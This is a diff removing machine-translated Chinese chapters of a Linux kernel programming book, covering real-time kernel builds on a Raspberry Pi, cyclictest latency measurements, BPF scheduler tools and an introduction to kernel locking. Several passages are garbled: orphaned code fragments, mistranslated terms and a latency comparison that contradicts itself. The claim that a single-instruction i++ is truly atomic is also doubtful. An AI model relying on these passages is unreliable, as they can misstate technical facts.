内核源码(截至撰写本文时)`y`有什么价值?那很容易;只需执行以下操作: - -```sh -$ head -n4 linux/Makefile -# SPDX-License-Identifier: GPL-2.0 -VERSION = 5 -PATCHLEVEL = 4 -SUBLEVEL = 70 -``` - -这里的`SUBLEVEL`变量是`y`的值;很明显,它是 70,使得内核版本为 5.4.70。 - -3. 接下来,让我们下载适当的实时(RTL)补丁:最好的是一个精确匹配,也就是说,补丁应该命名为类似`patch-5.4.70-rt[nn].tar.xz`的东西。幸运的是,它确实存在于服务器上;我们来获取一下(注意我们下载的是`patch--rt[nn]`文件;它更容易使用,因为它是统一的补丁): - `wget https://mirrors.edge.kernel.org/pub/linux/kernel/projects/rt/5.4/patch-5.4.70-rt40.patch.xz`。 - -*not* - -别忘了解压缩补丁文件! - -4. 现在应用补丁(如前所示,在*应用 RTL 补丁*部分): - -```sh -cd linux -patch -p1 < ../patch-5.4.70-rt40.patch -``` - -5. 配置打补丁的内核,打开`CONFIG_PREEMPT_RT`内核配置选项(如前所述): - 1. 首先,正如我们在[第 3 章](03.html)、*中从源代码构建 5.x Linux 内核–第 2 部分*中了解到的,关键是*要为目标适当地设置初始内核配置;这里,由于目标设备是树莓 Pi 3[B+],请执行以下操作:* - -```sh -make ARCH=arm bcm2709_defconfig -``` - -6. 我还假设您已经为安装了树莓 Pi 的 x86_64 到 ARM32 安装了合适的工具链: - -```sh -make -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage modules dtbs -``` - -`sudo apt install ​crossbuild-essential-armhf` - -*Configuring and building the RTL kernel* - -7. 安装刚刚构建的内核模块;确保您使用`INSTALL_MOD_PATH`环境变量将该位置指定为 SD 卡的根文件系统(否则它可能会覆盖您主机的模块,这将是灾难性的!).假设 microSD 卡的第二个分区(包含根文件系统)安装在`/media/${USER}/rootfs`下,然后执行以下操作(一行): - -```sh -sudo env PATH=$PATH make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- INSTALL_MOD_PATH=/media/${USER}/rootfs modules_install -``` - -8. 将映像文件(引导加载程序文件、内核`zImage`文件、**设备树 Blobs** ( **DTBs** )、内核模块)复制到树莓 Pi SD 卡上(这些详细信息包含在官方树莓 Pi 文档中:这里:[https://www . raspberripi . org/documentation/Linux/kernel/building . MD](https://www.raspberrypi.org/documentation/linux/kernel/building.md);我们在[第 3 章](03.html)、*中也(略微)介绍了从源代码构建 5.x Linux 内核–第 2 部分*。 -9. 测试:用 SD 卡中的新内核映像引导树莓 Pi。你应该可以登录一个 shell(通常是通过`ssh`)。验证内核版本和配置: - -```sh -rpi ~ $ uname -a -Linux raspberrypi 5.4.70-rt40-v7-llkd-rtl+ #1 SMP PREEMPT_RT Thu Oct 15 07:58:13 IST 2020 armv7l GNU/Linux -rpi ~ $ zcat /proc/config.gz |grep PREEMPT_RT -CONFIG_PREEMPT_RT=y -``` - -我们确实在设备上运行一个硬实时内核!所以,很好——这解决了“准备”部分;您现在可以进行下一步了。 - -### 在设备上安装 cyclictest(和其他必需的软件包) - -我们打算通过 cyclictest 应用针对标准和新开发的 RTL 内核运行测试用例。当然,这意味着我们必须首先获得循环测试源,并将其构建在设备上(注意,这里的工作是在树莓 Pi 上进行的)。 - -*Latency of Raspberry Pi 3 on Standard and Real-Time Linux 4.9* - -*Kernel* - -[https://metebalci.com/blog/latency-of-raspberry-pi-3-on-standard-and-real-time-linux-4.9-kernel/](https://metebalci.com/blog/latency-of-raspberry-pi-3-on-standard-and-real-time-linux-4.9-kernel/) - -`dwc_otg.fiq_enable=0` - -`dwc_otg.fiq_fsm_enable=0` - -`/boot/cmdline.txt` - -首先,确保所有必需的软件包都安装到您的树莓 Pi 上: - -```sh -sudo apt install coreutils build-essential stress gnuplot libnuma-dev -``` - -`libnuma-dev`包是可选的,可能在树莓 Pi 操作系统上不可用(即使没有它,您也可以继续)。 - -现在让我们获取 cyclictest 的源代码: - -```sh -git clone git://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.git -``` - -有点奇怪的是,最初,只有一个文件,即`README`。读一读(惊喜,惊喜)。它通知您如何获取和构建稳定的版本;很简单,只需执行以下操作: - -```sh -git checkout -b stable/v1.0 origin/stable/v1.0 -make -``` - -对我们来说令人高兴的是,**开源自动化开发实验室** ( **OSADL** )在 cyclictest 上有一个非常有用的 bash 脚本包装器;它运行 cyclictest,甚至绘制延迟图。从这里抓取脚本:[https://www.osadl.org/uploads/media/mklatencyplot.bash](https://www.osadl.org/uploads/media/mklatencyplot.bash)(上面的注释:[https://www . osadl . org/Create-a-latency-plot-from-cyclictest-hi . bash-script-for-latency-plot . 0 . html?&no _ cache = 1&sword _ list[0]= cyclictest](https://www.osadl.org/Create-a-latency-plot-from-cyclictest-hi.bash-script-for-latency-plot.0.html?&no_cache=1&sword_list%5B0%5D=cyclictest)。为了我们的目的,我稍微修改了一下;它就在这本书的 GitHub 存储库中:`ch11/latency_test/latency_test.sh`。 - -### 运行测试用例 - -为了更好地了解系统(调度)延迟,我们将运行三个测试用例;在这三种情况下,cyclictest 应用将在`stress(1)`实用程序加载系统时对系统延迟进行采样: - -1. 运行 5.4 32 位 RTL 补丁内核的树莓 Pi 3 b+(4 个 CPU 内核) -2. 运行标准 5.4 32 位树莓 Pi OS 内核的树莓 Pi 3 b+(4 个 CPU 内核) -3. 运行标准 5.4(主线)64 位内核的 x86_64 (4 个 CPU 内核)Ubuntu 20.04 LTS - -为了方便起见,我们在`latency_test.sh`脚本上使用了一个名为`runtest`的小包装脚本。它运行`latency_test.sh`脚本来测量系统延迟,同时运行`stress(1)`实用程序;它使用以下参数调用`stress`,对系统施加中央处理器、输入/输出和内存负载: - -```sh -stress --cpu 6 --io 2 --hdd 4 --hdd-bytes 1MB --vm 2 --vm-bytes 128M --timeout 1h -``` - -(仅供参考,也有一个更高版本的`stress`叫做`stress-ng`。)当`stress`应用执行时,加载系统,`cyclictest(8)`应用采样系统延迟,将其`stdout`写入文件: - -```sh -sudo cyclictest --duration=1h -m -Sp90 -i200 -h400 -q >output -``` - -(请务必参考`stress(1)`和`cyclictest(8)`上的手册页来了解参数。)它将运行一个小时(为了获得更准确的结果,我建议您运行更长时间的测试——可能是 12 个小时)。我们的`runtest`脚本(和底层脚本)使用适当的参数在内部运行`cyclictest`;它捕获并显示所用的最小、平均和最大延迟挂钟时间(通过`time(1)`),并生成直方图。请注意,在这里,我们运行`cyclictest`的持续时间(最大)为一小时。 - -`runtest` - -`latency_tests` - -`LAT=~/booksrc/ch11/latency_tests` - -`latency_tests` - -在运行 RTL 内核的树莓皮 3B+上运行我们的测试用例#1 的脚本截图如下: - -![](img/ac4326f5-6f00-4d31-94df-e6246e1ecc94.png) - -研究前面的截图;你可以清楚地看到系统细节,内核版本(注意是 RTL 补丁的`PREEMPT_RT`内核!),以及 cyclictest 的最小、平均和最大(调度)延迟的延迟测量结果。 - -### 查看结果 - -我们对剩下的两个测试用例执行类似的过程,并在图 11.14 中总结了所有三个测试用例的结果: - -![](img/067dec65-4fbd-4e6d-b976-392df18799b5.png) - -有趣;尽管 RTL 内核的最大延迟比其他标准内核低得多,但最小延迟和更重要的平均延迟都优于标准内核。这最终为标准内核带来了卓越的整体吞吐量(这一点在前面也强调过)。 - -`latency_test.sh` bash 脚本调用`gnuplot(1)`实用程序来生成图形,以这种方式,标题行显示最小/平均/最大延迟值(以微秒计)和运行测试的内核。回想一下,测试用例#1 和#2 运行在树莓 Pi 3B+设备上,而测试用例#3 运行在通用(且功能更强大)x86_64 系统上)。请参见`gnuplot`编辑的图表(针对所有三个测试用例): - -![](img/b5132864-dcad-46a8-9af5-62455c48604c.png) - -图 11.15 显示了由测试用例#1 的`gnuplot(1)`(从我们的`ch11/latency_test/latency_test.sh`脚本中调用)绘制的图表。正在测试的**设备** ( **DUT** )、覆盆子皮 3B+,有四个中央处理器核心(如操作系统所见)。请注意图表是如何向我们展示这个故事的——绝大多数样本都在左上角,这意味着在大多数情况下,延迟非常小(100,000 到 100 万个延迟样本(y 轴)之间的延迟在几微秒到 50 微秒(x 轴)之间)!).那真是太好了!当然,在另一个极端也会有异常值——尽管样本数量要少得多,但所有 CPU 内核上的样本都有更高的延迟(在 100 到 256 微秒之间)。cyclictest 应用为我们提供了最小、平均和最大系统延迟值。使用 RTL 补丁内核,虽然最大延迟实际上非常好(相当低),但平均延迟可能相当高: - -![](img/28466cce-002f-408f-90a3-2f8dcee6ef11.png) - -图 11.16 显示了测试用例#2 的图。同样,与前面的测试案例一样——事实上,这里更明显——绝大多数系统延迟样本都表现出非常低的延迟!标准内核因此做了大量的工作;甚至平均延迟也是一个“体面”的值。然而,最差情况(最大)延迟值可能非常大–*向我们展示了为什么它不是 RTOS* 。对于大多数工作负载来说,延迟往往“通常”非常好,但少数极端情况会出现。换句话说,这是*而不是*——RTOS 的关键特征: - -![](img/b12edf18-e475-4855-ab51-fa371e218f6b.png) - -图 11.17 显示了测试用例#3 的图。这里的方差——或**抖动**——甚至更明显(同样,不确定!),尽管最小和平均系统延迟值确实非常好。当然,它运行在比前两个测试用例更强大的系统上——桌面级 x86_64。最大延迟值(少数几个角落的情况,尽管这里有更多)往往相当高。同样,它不是 RTOS——它不是决定性的。 - -你注意到这些图如何清楚地表现出*抖动*:测试用例#1 具有最少的量(图倾向于非常快地下降到 x 轴——意味着非常少的延迟样本,如果不是零,则表现出高(er)延迟)并且测试用例#3 具有最大的抖动(图的大部分保持在 *x* 轴之上!). - -我们再次强调这一点:结果非常清楚地表明,RTOS 是确定性的(非常小的抖动量),GPOS 是高度不确定性的!(根据经验,标准 Linux 会导致中断处理产生大约+/- 10 微秒的抖动,而在运行 RTOS 的微控制器上,抖动会小得多,大约+/- 10 纳秒!) - -做这个实验,你会意识到对标是一件棘手的事情;你不应该在几次测试运行中读得太多(长时间运行测试,有一个大的样本集很重要)。用您期望在系统上体验到的实际工作负载进行测试,将是一种更好的方式来了解哪种内核配置产生了卓越的性能;它确实随工作量而变化! - -(Canonical 的一个有趣的案例研究显示了某些工作负载的常规、低延迟和实时内核的统计数据;在本章的*进一步阅读*部分查找。)如前所述,RTL 内核优越的 *max* 延迟特性通常会导致整体吞吐量下降(由于 RTL 相当无情的优先级划分,用户空间可能会受到 CPU 减少的影响)。 - -## 通过现代 BPF 工具测量调度器延迟 - -在不涉及太多细节的情况下,我们可能会遗漏掉最近的强大的 BPF Linux 内核特性及其相关的前端;有一些方法可以专门测量调度程序和运行队列相关的系统延迟。(我们在第 1 章、*内核工作区设置*的*现代跟踪和性能分析【e】BPF*一节中介绍了[e]BPF 工具的安装)。 - -下表总结了其中一些工具(BPF 前端);所有这些工具都需要以 root 身份运行(与任何 BPF 工具一样);它们将输出显示为直方图(默认时间以微秒计): - -| **BPF 工具** | **它测量的是什么** | -| `runqlat-bpfcc` | 任务在运行队列上等待轮到它在处理器上运行的时间 | -| `runqslower-bpfcc` | (作为 runqueue 读取速度较慢);任务在运行队列上等待轮到它在处理器上运行的时间,只显示那些超过给定阈值的线程,该阈值默认为 10 ms(可以通过将时间阈值作为参数传递来调整,单位为微秒);实际上,您可以看到哪些任务面临(相对)较长的计划延迟 | -| `runqlen-bpfcc` | 显示调度程序运行队列长度+占用率(当前排队等待运行的线程数) | - -这些工具还可以在每个任务的基础上为系统中的每个进程提供这些度量,甚至可以通过 PID 名称空间(用于容器分析;当然,这些选项取决于所讨论的工具)。一定要查找更多的细节(甚至例子用法!)从这些工具的手册页(第 8 节)中。 - -`cpudist- cpudist-bpfcc` - -`cpuunclaimed-bpfcc` - -`offcputime-bpfcc` - -`wakeuptime-bpfcc` - -*Further reading* - -现在,你不仅能够理解,甚至能够测量系统延迟(通过`cyclictest`应用和一些现代 BPF 工具)。 - -我们用一些杂七杂八但有用的小(内核空间)例程来结束这一章: - -* `rt_prio()`:给定优先级作为参数,返回一个布尔值,表示是否是实时任务。 -* `rt_task()`:基于任务的优先级值,给定任务结构指针作为参数,返回一个布尔值,表示是否为实时任务(对`rt_prio()`的包装)。 -* `task_is_realtime()`:类似,但基于任务的调度策略。给定任务结构指针作为参数,返回一个布尔值来指示它是否是实时任务。 - -# 摘要 - -在这,我们关于 Linux 操作系统上的中央处理器调度的第二章,你已经学到了几个关键的东西。其中,您学习了如何使用强大的工具(如 LTTng 和 Trace Compass GUI)以及`trace-cmd(1)`实用程序(内核强大的 Ftrace 框架的便捷前端)来可视化内核流。然后,您看到了如何编程查询和设置任何线程的 CPU 关联掩码。这自然引发了关于如何以编程方式查询和设置任何线程的调度策略和优先级的讨论。“完全公平”的整个概念(通过 CFS 实现)受到了质疑,一些被称为 cgroups 的优雅解决方案被揭示出来。您甚至还学习了如何利用 cgroups v2 CPU 控制器根据需要将 CPU 带宽分配给子组中的进程。然后我们了解到,虽然 Linux 是一个 GPOS,但是 RTL 补丁非常多,一旦应用了它,并且配置和构建了内核,你就可以运行 Linux 作为一个真正的硬实时系统,一个 RTOS。 - -最后,您学习了如何通过 cyclictest 应用和一些现代 BPF 工具来测量系统延迟。我们甚至在树莓 Pi 3 设备上用 cyclictest 进行测试,在 RTL 和标准内核上对它们进行测量和对比。 - -真有点!一定要花时间去正确理解材料,并以动手的方式去做。 - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。** \ No newline at end of file diff --git a/docs/linux-kernel-prog/12.md b/docs/linux-kernel-prog/12.md deleted file mode 100644 index a2b90cea..00000000 --- a/docs/linux-kernel-prog/12.md +++ /dev/null @@ -1,1199 +0,0 @@ -# 十二、内核同步——第一部分 - -任何熟悉多线程环境(或者甚至是单线程环境,其中多个进程在共享内存上工作,或者中断是可能的)中编程的开发人员都很清楚,每当两个或更多线程(通常是代码路径)可能竞争时,就需要**同步**;也就是说,他们的结局无法预测。纯代码本身从来不是问题,因为它的权限是读/执行的(`r-x`);在多个 CPU 内核上同时读取和执行代码不仅非常好和安全,而且受到鼓励(这导致了更好的吞吐量,这也是多线程是一个好主意的原因)。但是,当您处理共享可写数据时,您需要开始非常小心! - -围绕并发及其控制(同步)的讨论是多种多样的,尤其是在复杂软件的背景下,如 Linux 内核(其子系统和相关区域,如设备驱动程序),这就是我们在本书中讨论的。因此,为了方便起见,我们将把这个大主题分成两章,这一章和下一章。 - -在本章中,我们将涵盖以下主题: - -* 关键部分、排他执行和原子性 -* Linux 内核中的并发问题 -* 互斥还是自旋锁?什么时候使用哪个 -* 使用互斥锁 -* 使用自旋锁 -* 锁定和中断 - -我们开始吧! - -# 关键部分、排他执行和原子性 - -想象一下,你正在为多核系统编写软件(嗯,现在,你通常会在多核系统上工作,甚至在大多数嵌入式项目上)。正如我们在介绍中提到的,并行运行多个代码路径不仅安全,而且是可取的(为什么要花那些钱呢,对吗?).另一方面,以任何方式访问**共享可写数据**(也称为**共享状态** ) **的并发(并行和同时)代码路径是要求您保证在任何给定时间点,一次只有一个线程可以处理该数据的地方!这真的很关键;为什么呢?想想看:如果您允许多个并发代码路径在共享的可写数据上并行工作,您实际上是在自找麻烦:**数据损坏**(一种“竞争”)可能因此而发生。** - -## 什么是关键部分? - -可以并行执行并处理(读取和/或写入)共享可写数据(共享状态)的代码路径称为关键部分。它们需要避免并行性。识别和保护关键部分不被同时执行是正确软件的隐含要求,你——设计者/架构师/开发人员——必须处理。 - -关键部分是一段必须以独占方式运行的代码;也就是说,单独的(序列化的),或者原子的;也就是说,不可分割地、不间断地完成。 - -通过排他,我们暗示在任何给定的时间点,一个线程正在运行关键部分的代码;出于数据安全的原因,这显然是必需的。 - -这个概念也提出了*原子性*的重要概念:单个原子操作是不可分割的。在任何现代处理器上,两个操作被认为永远是**原子**;也就是说,它们不能被中断,并将一直运行到完成: - -* 单一机器语言指令的执行。 -* 读取或写入处理器字长(通常为 32 或 64 位)内的对齐原始数据类型;例如,在 64 位系统上读取或写入 64 位整数保证是原子的。读取该变量的线程将永远看不到介于中间、撕裂或脏的结果;他们要么看到旧的价值,要么看到新的价值。 - -因此,如果您有一些处理共享(全局或静态)可写数据的代码行,在没有任何显式同步机制的情况下,它不能保证以独占方式运行。请注意,有时需要原子地运行关键部分的代码*、*以及排他地运行,但不是一直都需要。 - -当关键部分的代码运行在安全到睡眠的进程上下文中时(例如通过用户应用对驱动程序进行的典型文件操作(open、read、write、ioctl、mmap 等),或者内核线程或工作队列的执行路径),不将关键部分真正原子化可能是可以接受的。然而,当它的代码在非阻塞原子上下文中运行时(如 hardirq、小任务或 softirq),*它必须以原子方式运行,也必须以独占方式运行*(我们将在*互斥体或自旋锁中更详细地讨论这些问题?*节时使用哪个)。 - -一个概念性的例子将有助于澄清事情。假设三个线程(来自用户空间应用)试图在多核系统上或多或少地同时打开和读取驱动程序。如果没有任何干预,他们很可能会并行运行关键部分的代码,从而并行处理共享的可写数据,因此很可能会破坏它!现在,让我们看一个概念图,看看关键部分代码路径中的非独占执行是如何出错的(我们甚至不会在这里讨论原子性): - -![](img/e42ec0c7-5e5d-4c06-891b-aa1e9fdce550.png) - -Figure 12.1 – A conceptual diagram showing how a critical section code path is violated by having >1 thread running within it simultaneously - -如上图所示,在您的设备驱动程序中,在它的(比方说)read 方法中,您让它运行一些代码来执行它的工作(从硬件中读取一些数据)。让我们更深入地看一下这个图表*在不同时间点进行的数据访问*: - -* 从`t0`到`t1`时间:无或仅访问局部变量数据。这是并发安全的,不需要保护,并且可以并行运行(因为每个线程都有自己的私有堆栈)。 -* 从`t1`到`t2`:访问全局/静态共享可写数据。这是*不是*并发-安全;这是**的一个关键部分**,因此必须**保护**不被并发访问。它应该只包含专门运行的代码(单独运行,一次只运行一个线程,序列化),并且可能是原子性的。 -* 从`t2`到`t3`时间:无或仅访问局部变量数据。这是并发安全的,不需要保护,并且可以并行运行(因为每个线程都有自己的私有堆栈)。 - -In this book, we assume that you are already aware of the need to synchronize critical sections; we will not discuss this particular topic any further. Those of you who are interested may refer to my earlier book, *Hands-On System Programming with Linux (Packt, October 2018)*, which covers these points in detail (especially *Chapter 15*, *Multithreading with Pthreads Part II – Synchronization*). - -因此,知道了这一点,我们现在可以重申一个关键部分的概念,同时也提到当情况出现时(显示在方括号中,斜体在项目符号中)。关键部分是必须按如下方式运行的代码: - -* **(始终)独占**:单独(连载) -* **(当处于原子上下文中时)原子地**:不可分割地,不间断地完成 - -在下一节中,我们将看一个经典的场景——全局整数的增量。 - -## 一个经典案例——全球 i ++ - -想一想这个经典的例子:一个全局`i`整数在一个并发代码路径中递增,在这个路径中多个执行线程可以同时执行。对计算机硬件和软件的天真理解会让你相信这个操作显然是原子的。然而,现实是,现代硬件和软件(编译器和操作系统)比你想象的要复杂得多,从而导致了各种(对应用开发者来说)看不见的性能驱动的优化。 - -We won't attempt to delve into too much detail here, but the reality is that modern processors are extremely complex: among the many technologies they employ toward better performance, a few are superscalar and super-pipelined execution in order to execute multiple independent instructions and several parts of various instructions in parallel (respectively), performing on-the-fly instruction and/or memory reordering, caching memory in complex hierarchical on-CPU caches, false sharing, and so on! We will delve into some of these details in [Chapter 13](13.html), *Kernel Synchronization – Part 2*, in the *Cache effects – false sharing* and *Memory barriers* sections. - -The paper *What every systems programmer should know about concurrency* by *Matt Kline, April 2020*, ([https://assets.bitbashing.io/papers/concurrency-primer.pdf](https://assets.bitbashing.io/papers/concurrency-primer.pdf)) is superb and a must-read on this subject; do read it! - -所有这些使得情况比乍看起来更复杂。让我们继续经典的`i ++`: - -```sh -static int i = 5; -[ ... ] -foo() -{ - [ ... ] - i ++; // is this safe? yes, if truly atomic... but is it truly atomic?? -} -``` - -这个增量本身安全吗?简短的回答是不,你必须保护它。为什么呢?这是一个关键部分—我们正在访问共享的可写数据以进行读和/或写操作。更长的答案是,它真的取决于增量操作是否真的是原子的(不可分割的);如果是,那么`i ++`在平行性存在的情况下不会构成危险——如果不是,它会!那么,我们如何知道`i ++`是否真的是原子的呢?有两件事决定了这一点: - -* 处理器的**指令集架构** ( **ISA** ),它确定(在与低级别处理器相关的几件事情中)运行时执行的机器指令。 -* 编译器。 - -如果 ISA 能够使用单个机器指令来执行整数增量,*和*编译器能够智能地使用它,*那么*就是真正的原子指令——它是安全的,不需要锁定。否则不安全,需要上锁! - -**试试这个**:把你的浏览器导航到这个奇妙的编译器浏览器网站:[https://godbolt.org/](https://godbolt.org/)。选择 C 作为编程语言,然后在左窗格中,声明函数内的全局`i`整数和增量。使用适当的编译器和编译器选项在右窗格中编译。您将看到为 C 高级`i ++;`语句生成的实际机器代码。如果确实是单机指令,那么就安全了;如果没有,您将需要锁定。总的来说,你会发现你真的分不清:实际上,你*无法*承担起假设的事情——你将不得不默认它是不安全的,并保护它!这可以在下面的截图中看到: - -![](img/454ce844-6149-4cf1-8a20-c6fe267f614e.png) - -Figure 12.2 – Even with the latest stable gcc version but no optimization, the x86_64 gcc produces multiple instructions for the i ++ - -前面的截图清楚地显示了这一点:左侧和右侧窗格中的黄色背景区域分别是 C 源代码和编译器生成的相应程序集(基于 x86_64 ISA 和编译器的优化级别)。默认情况下,在没有优化的情况下,`i ++`变成三条机器指令。这正是我们所期望的:它对应于*获取*(内存注册)*增量**存储*(内存注册)!现在,这是*不是*原子;完全有可能的是,在其中一条机器指令执行后,控制单元会干涉并将指令流切换到不同的点。这甚至可能导致另一个进程或线程被上下文切换! - -好消息是,在`Compiler options...`窗口中快速点击`-O2`,T2 就变成了一条机器指令——真正的原子指令!然而,我们无法提前预测这些事情;总有一天,你的代码可能会在一个相当低端的 ARM (RISC)系统上执行,增加`i ++`需要多条机器指令的机会。(不要担心–我们将在*中使用原子整数运算符*部分介绍专门针对整数的优化锁定技术)。 - -Modern languages provide native atomic operators; for C/C++, it's fairly recent (from 2011); the ISO C++11 and the ISO C11 standards provide ready-made and built-in atomic variables for this. A little googling will quickly reveal them to you. Modern glibc also makes use of them. As an example, if you've worked with signaling in user space, you will know to use the `volatile sig_atomic_t` data type to safely access and/or update an atomic integer within signal handlers. What about the kernel? In the next chapter, you'll learn about the Linux kernel's solution to this key issue. We'll cover this in the *Using the atomic integer operators* and *Using the atomic bit operators* sections. - -当然,Linux 内核是一个并发环境:多个执行线程在多个 CPU 内核上并行运行。不仅如此,即使在单处理器系统中,硬件中断、陷阱、故障、异常和软件信号的存在也会导致数据完整性问题。不用说,在代码路径的要求点上防止并发是说起来容易做起来难;使用锁定等技术以及其他同步原语和技术来识别和保护关键部分是绝对必要的,这就是为什么这是本章和下一章的核心主题。 - -## 概念–锁 - -我们需要同步,因为在没有任何干预的情况下,线程可以同时执行正在处理共享可写数据(共享状态)的关键部分。为了战胜并发性,我们需要消除并行性,我们需要*序列化*关键部分中的代码——共享数据被处理的地方(用于读取和/或写入)。 - -要强制代码路径序列化,一种常见的技术是使用**锁**。本质上,锁的工作原理是保证恰好一个执行线程可以在任何给定的时间点“获取”或拥有锁。因此,使用锁来保护代码中的关键部分会给你我们想要的东西——专门运行关键部分的代码(也许是原子的;更多关于这方面的信息): - -![](img/2bb4c687-c25b-4d05-adbe-8a57e1d71dd1.png) - -Figure 12.3 – A conceptual diagram showing how a critical section code path is honored, given exclusivity, by using a lock - -上图显示了一种修复前面提到的情况的方法:使用锁来保护关键部分!从概念上讲,锁(和解锁)是如何工作的? - -锁的基本前提是,每当存在争用时——也就是说,当多个竞争线程(比如说,`n`线程)试图获取锁时(`LOCK`操作)——只有一个线程会成功。这被称为锁的“赢家”或“所有者”。它将*锁定* API 视为非阻塞调用,因此在执行关键部分的代码时继续愉快地——并且独占地——运行(关键部分实际上是*锁定*和*解锁*操作之间的代码!).`n-1`“失败者”的线索会怎么样?他们(也许)将锁应用编程接口视为阻塞调用;实际上,他们在等待。侍候什么?*解锁*操作,当然是由锁的主人(“赢家”线程)来执行!一旦解锁,剩余的`n-1`线程现在将争夺下一个“赢家”位置;当然,他们中正好有一个会“赢”并继续前进;在此期间,`n-2`输家将等待(新)赢家的*解锁*;这样重复,直到所有`n`线程(最终顺序)获得锁。 - -现在,锁定当然有效,但是——这应该是非常直观的——它导致(相当陡峭!)**开销,因为它击败了并行性,序列化了**执行流!为了帮助你想象这种情况,想象一个漏斗,狭窄的茎是关键部分,一次只能装一根线。所有其他线程都会阻塞;锁定会产生瓶颈: - -![](img/cb3c524d-3f70-4a42-9144-12f34469651e.png) - -Figure 12.4 – A lock creates a bottleneck, analogous to a physical funnel - -另一个经常被提及的物理模拟是一条高速公路,几条车道合并成一条非常繁忙的车道,交通拥堵(也许是一个设计糟糕的收费站)。同样,并行性——汽车(线程)与不同车道上的其他汽车(CPU)并行行驶——丢失,需要序列化行为——汽车被迫一辆接一辆排队。 - -因此,作为软件架构师,我们必须尝试和设计我们的产品/项目,以便最少需要锁定。虽然在大多数实际项目中完全消除全局变量实际上是不可能的,但是需要优化和最小化它们的使用。我们将在后面介绍更多这方面的内容,包括一些非常有趣的无锁编程技术。 - -另一个真正的关键点是,新手程序员可能天真地认为对共享可写数据对象执行读取是完全安全的,因此不需要显式保护(处理器总线大小内的对齐原语数据类型除外);这是不真实的。这种情况会导致所谓的**脏读或撕裂读**,这种情况下,当另一个写线程正在同时写入时,可能会读取陈旧的数据,而您正在错误地、没有锁定地读取完全相同的数据项。 - -因为我们讨论的是原子性,正如我们刚刚了解到的,在典型的现代微处理器上,唯一保证是原子性的是一条机器语言指令或对处理器总线宽度内对齐的原始数据类型的读/写。那么,我们如何标记几行“C”代码,使它们成为真正的原子代码呢?在用户空间,这甚至是不可能的(我们可以接近,但不能保证原子性)。 - -How do you "come close" to atomicity in user space apps? You can always construct a user thread to employ a `SCHED_FIFO` policy and a real-time priority of `99`. This way, when it wants to run, pretty much nothing besides hardware interrupts/exceptions can preempt it. (The old audio subsystem implementation heavily relied on this.) - -在内核空间,我们可以编写真正原子的代码。具体怎么做?简单地说,我们可以使用自旋锁!我们将很快详细了解自旋锁。 - -### 要点总结 - -让我们总结一些关于关键部分的要点。仔细阅读这些内容,将它们放在手边,并确保在实践中使用它们,这一点非常重要: - -* 一个**关键部分**是一个可以并行执行的代码路径,它处理(读取和/或写入)共享的可写数据(也称为“共享状态”)。 -* 因为它对共享的可写数据起作用,所以关键部分需要以下保护: - * 并行性(也就是说,它必须单独运行/序列化/以互斥方式运行) - * 当在原子(中断)非阻塞上下文中运行时——原子地:不可分割地,直到完成,没有中断。一旦受到保护,您可以安全地访问您的共享状态,直到您“解锁”。 -* 必须识别和保护代码库中的每个关键部分: - * 确定关键部分至关重要!仔细检查你的代码,确保你不会错过它们。 - * 保护它们可以通过各种技术来实现;一种非常常见的技术是*锁定*(还有无锁编程,我们将在下一章中讨论)。 - * 一个常见的错误是只保护*将*写入全局可写数据的关键部分;您还必须保护*读取*全局可写数据的关键部分;否则,你就冒着被**撕破或者弄脏的风险去读!**为了帮助明确这一关键点,可视化一个在 32 位系统上读写的无符号 64 位数据项;在这种情况下,操作不能是原子的(需要两个加载/存储操作)。因此,如果当您在一个线程中读取数据项的值时,另一个线程正在同时写入它,那会怎样呢!?写线程获取某种“锁”,但是因为您认为读取是安全的,所以锁不会被读线程获取;由于不幸的时间巧合,您最终可能会执行部分/撕裂/脏读!在接下来的章节和下一章中,我们将学习如何通过使用各种技术来克服这些问题。 - * 另一个致命的错误是没有使用相同的锁来保护给定的数据项。 - * 未能保护关键部分会导致**数据竞争**,这种情况下,结果(正在读取/写入的数据的实际值)是“活跃的”,这意味着它会因运行时环境和时间而异。这就是所谓的 bug。(一旦进入“领域”,就极难看到、重现、确定其根本原因并修复的 bug。我们将在下一章的*内核*中介绍一些非常强大的东西来帮助您进行锁定调试;一定要看!) -* **异常**:在以下情况下,您是安全的(隐式,无显式保护): - * 当你处理局部变量时。它们被分配在线程的私有堆栈上(或者,在中断上下文中,在本地 IRQ 堆栈上),因此,根据定义,它们是安全的。 - * 当您在无法在另一个上下文中运行的代码中处理共享可写数据时;也就是说,它是按自然顺序连载的。在我们的上下文中,LKM 的*初始化*和*清理*方法是合格的(它们只在`insmod`和`rmmod`上连续运行一次)。 - * 当你处理真正恒定且只读的共享数据时(不过,不要让 C 的`const`关键字愚弄你!). -* 锁定本质上是复杂的;您必须仔细思考、设计和实现这一点,以避免*死锁。*我们将在*锁定指南和死锁*部分对此进行更详细的介绍。 - -# Linux 内核中的并发问题 - -识别一段内核代码中的关键部分至关重要;你连看都看不到怎么保护它?作为一名初露头角的内核/驱动程序开发人员,以下是一些指导原则,可以帮助您认识到并发问题(以及关键部分)可能出现的位置: - -* **对称多处理器** ( **SMP** )系统的存在(`CONFIG_SMP`) -* 可抢占内核的存在 -* 阻塞输入输出 -* 硬件中断(在 SMP 或 UP 系统上) - -这些是需要理解的关键点,我们将在本节中逐一讨论。 - -## 多核 SMP 系统和数据竞赛 - -第一点非常明显;看看下面截图中显示的伪代码: - -![](img/9bd3a756-35c6-4497-836e-e1d2044727b4.png) - -Figure 12.5 – Pseudocode – a critical section within a (fictional) driver's read method; it's wrong as there's no locking - -这与我们在*图 12.1* 和*图 12.3* 